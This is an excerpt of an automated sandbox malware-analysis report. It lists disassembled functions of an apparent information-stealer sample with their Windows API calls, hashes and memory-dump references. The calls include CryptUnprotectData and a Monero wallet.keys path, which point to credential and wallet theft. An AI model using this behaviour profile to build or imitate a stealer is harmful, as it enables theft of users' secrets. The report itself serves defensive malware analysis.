Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: R)|$[e_'$^n~o$aHu[$u5\
API String ID: 0-1803858425
Opcode ID: ae5afb6835e7f1de1c1cffb63ac6687990b40bd870b4c2cf3fce931e9ef0864a
Instruction ID: 70e442f8b6309f5a2398b73ea3ec85b0e86e1b5fa682928c404b74ae18832ae0
Opcode Fuzzy Hash: ae5afb6835e7f1de1c1cffb63ac6687990b40bd870b4c2cf3fce931e9ef0864a
Instruction Fuzzy Hash: DAB219F360C204AFE3046E6DEC8566AFBE9EF94620F1A493DE6C4C7344E93598018697

Function 00D8C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00D8C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00D8C87C
lstrcat.KERNEL32(?,00DA0B46), ref: 00D8C943
lstrcat.KERNEL32(?,00DA0B47), ref: 00D8C957
lstrcat.KERNEL32(?,00DA0B4E), ref: 00D8C978

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 4cd1a3379ebf2d69610426750a157bb07a656c37bf98aa209a64313e7b94c8ec
Instruction ID: 418c77c9b8185c35a13bad937aef3fbab51b18102c34681eea8a8d77e0743d6b
Opcode Fuzzy Hash: 4cd1a3379ebf2d69610426750a157bb07a656c37bf98aa209a64313e7b94c8ec
Instruction Fuzzy Hash: D4415EB591421DDFDB10DFA4CD89FEEB7B8BB48704F1041A8E509A7280D7746A84DFA1

Function 00D87240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00D8724D
RtlAllocateHeap.NTDLL(00000000), ref: 00D87254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00D87281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00D872A4
LocalFree.KERNEL32(?), ref: 00D872AE

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: e9066396748043f7096416e1a9382062ef9ba7936fab287b8459a6e6ac1bd0e5
Instruction ID: 5e9a734ff94fcbd1e609e7c0d9df7dcc97943d180b413e3193f6efd1c0958760
Opcode Fuzzy Hash: e9066396748043f7096416e1a9382062ef9ba7936fab287b8459a6e6ac1bd0e5
Instruction Fuzzy Hash: 7B011EB5A4020CBBEB10DFE4CD4AF9E77B8EB44B04F204155FB05AB2C0D6B0BA009B65

Function 00D99600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D9961E
Process32First.KERNEL32(00DA0ACA,00000128), ref: 00D99632
Process32Next.KERNEL32(00DA0ACA,00000128), ref: 00D99647
StrCmpCA.SHLWAPI(?,00000000), ref: 00D9965C
CloseHandle.KERNEL32(00DA0ACA), ref: 00D9967A

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c6c7dc90f65e23de587ac5fbe5266650bfd507188d3aa9b5c98398416c987c02
Instruction ID: b4ecca80aaacc5ce267ac4fce49f43f489c7cbd6c793a23085110e986bb0b6d1
Opcode Fuzzy Hash: c6c7dc90f65e23de587ac5fbe5266650bfd507188d3aa9b5c98398416c987c02
Instruction Fuzzy Hash: 3501E975A0020CABCF14DFA5C959BEDBBF8AB48304F104188A90597280D734AA40DF61

Function 0115427F Relevance: 6.3, Strings: 4, Instructions: 1296COMMON

Download Yara Rule

Strings

l^?w, xrefs: 011545F4
TY9z, xrefs: 01154519
M)}|, xrefs: 01154D83
jF~, xrefs: 01154C98

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: M)}|$TY9z$jF~$l^?w
API String ID: 0-1276393754
Opcode ID: 40074a63bb0efb8783f982efeea53445cc4432f9d9f77e9312294dc35f29545b
Instruction ID: 1740bc45df546e2a739b7197fbd331c024f7e3ec501a5214430108e7097593af
Opcode Fuzzy Hash: 40074a63bb0efb8783f982efeea53445cc4432f9d9f77e9312294dc35f29545b
Instruction Fuzzy Hash: DF92C3F360C214AFE704AE2DEC8566AFBE5EF98720F16492DE6C4C3744E63598408797

Function 00D98680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00DA05B7), ref: 00D986CA
Process32First.KERNEL32(?,00000128), ref: 00D986DE
Process32Next.KERNEL32(?,00000128), ref: 00D986F3

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

CloseHandle.KERNEL32(?), ref: 00D98761

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: bfec094896900c70709378741e65054557d094ee52658d6b2c1f634c41cc7793
Instruction ID: 764022ba21a6a52245eadbf506ba41a3061d3c4ce22a5a4fab885e135044c363
Opcode Fuzzy Hash: bfec094896900c70709378741e65054557d094ee52658d6b2c1f634c41cc7793
Instruction Fuzzy Hash: 26314872911228ABCF24EF99DD46FEEB778FF45700F104199E10AA61A0DB306A45CFB1

Function 00D98EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00D85184,40000001,00000000,00000000,?,00D85184), ref: 00D98EC0

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 0195800ddeccc93b7dbd6b1385fc56172909b8b21a8b130213627e36684020e5
Instruction ID: 24cf706bab8c2796f6ffcfd2a04c63fe607e648e62945607a5882980dd85b916
Opcode Fuzzy Hash: 0195800ddeccc93b7dbd6b1385fc56172909b8b21a8b130213627e36684020e5
Instruction Fuzzy Hash: 33111870200208BFDF04CF64D889FAB73A9AF8AB04F14A458F9198B250DB35EC41EB70

Function 00D89AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D84EEE,00000000,00000000), ref: 00D89AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00D84EEE,00000000,?), ref: 00D89B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D84EEE,00000000,00000000), ref: 00D89B2A
LocalFree.KERNEL32(?,?,?,?,00D84EEE,00000000,?), ref: 00D89B3F

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 9a4632aade4f09f65a333aead1f018cccf8a24a789250f48a98a0ff34e454fad
Instruction ID: 1909e625cda24993bb9210e19a94ea24ca201678d64e20f615b79539f59f4953
Opcode Fuzzy Hash: 9a4632aade4f09f65a333aead1f018cccf8a24a789250f48a98a0ff34e454fad
Instruction Fuzzy Hash: 1911D4B4241208AFEB00CF64CC95FAAB7B5FB89704F248048F9159B3D0C771A901DB50

Function 00D97980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00DA0E00,00000000,?), ref: 00D979B0
RtlAllocateHeap.NTDLL(00000000), ref: 00D979B7
GetLocalTime.KERNEL32(?,?,?,?,?,00DA0E00,00000000,?), ref: 00D979C4
wsprintfA.USER32 ref: 00D979F3

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 6693e3aad6b42ae4a0c29a68ba357d930ac1ff6631d843d2c619fbc5b17ec257
Instruction ID: 486bb269b103cd2cd27824dcdcc03dc5bd5596308b204327fb14cdefef46bd1d
Opcode Fuzzy Hash: 6693e3aad6b42ae4a0c29a68ba357d930ac1ff6631d843d2c619fbc5b17ec257
Instruction Fuzzy Hash: 8C1118B2904118ABCB149FD9DE45FBEB7F8EB48B15F10411AF645A2280D2395940D7B1

Function 00D97A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0182DFE8,00000000,?,00DA0E10,00000000,?,00000000,00000000), ref: 00D97A63
RtlAllocateHeap.NTDLL(00000000), ref: 00D97A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0182DFE8,00000000,?,00DA0E10,00000000,?,00000000,00000000,?), ref: 00D97A7D
wsprintfA.USER32 ref: 00D97AB7

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: d80559edaf679485c08100300eb70c3058218f0bd7de0ebb1224d449397279f9
Instruction ID: 2af6633b92f789dc6a1483962024904adfdf0cc5db31e566c9af8401f29076ca
Opcode Fuzzy Hash: d80559edaf679485c08100300eb70c3058218f0bd7de0ebb1224d449397279f9
Instruction Fuzzy Hash: 42118EB194521CEFEB208B54DD4AFA9BB78FB04725F10439AE90A932C0C7746A44CFA1

Function 011558B2 Relevance: 5.4, Strings: 3, Instructions: 1635COMMON

Download Yara Rule

Strings

3|u<, xrefs: 011569F3
z, xrefs: 01155F79
k~s, xrefs: 01155A45

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3|u<$k~s$z
API String ID: 0-935043890
Opcode ID: 5bd068bd3b91c6f6aac5ca66abfe40ea1f9386f947c32e019fdf8dc32ea93273
Instruction ID: d9b3838cfb3ac40fa35f9be4d44db6c96db3478bddf7256ff94a32afb792c3aa
Opcode Fuzzy Hash: 5bd068bd3b91c6f6aac5ca66abfe40ea1f9386f947c32e019fdf8dc32ea93273
Instruction Fuzzy Hash: 9DB24AF360C2009FE304AE2DEC8567ABBE9EF94360F1A853DE6C4C7744E63599058697

Function 0113EAB9 Relevance: 4.9, Strings: 3, Instructions: 1158COMMON

Download Yara Rule

Strings

jQQk, xrefs: 0113EDAC
~>{, xrefs: 0113EB06
|nW, xrefs: 0113EC5C

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

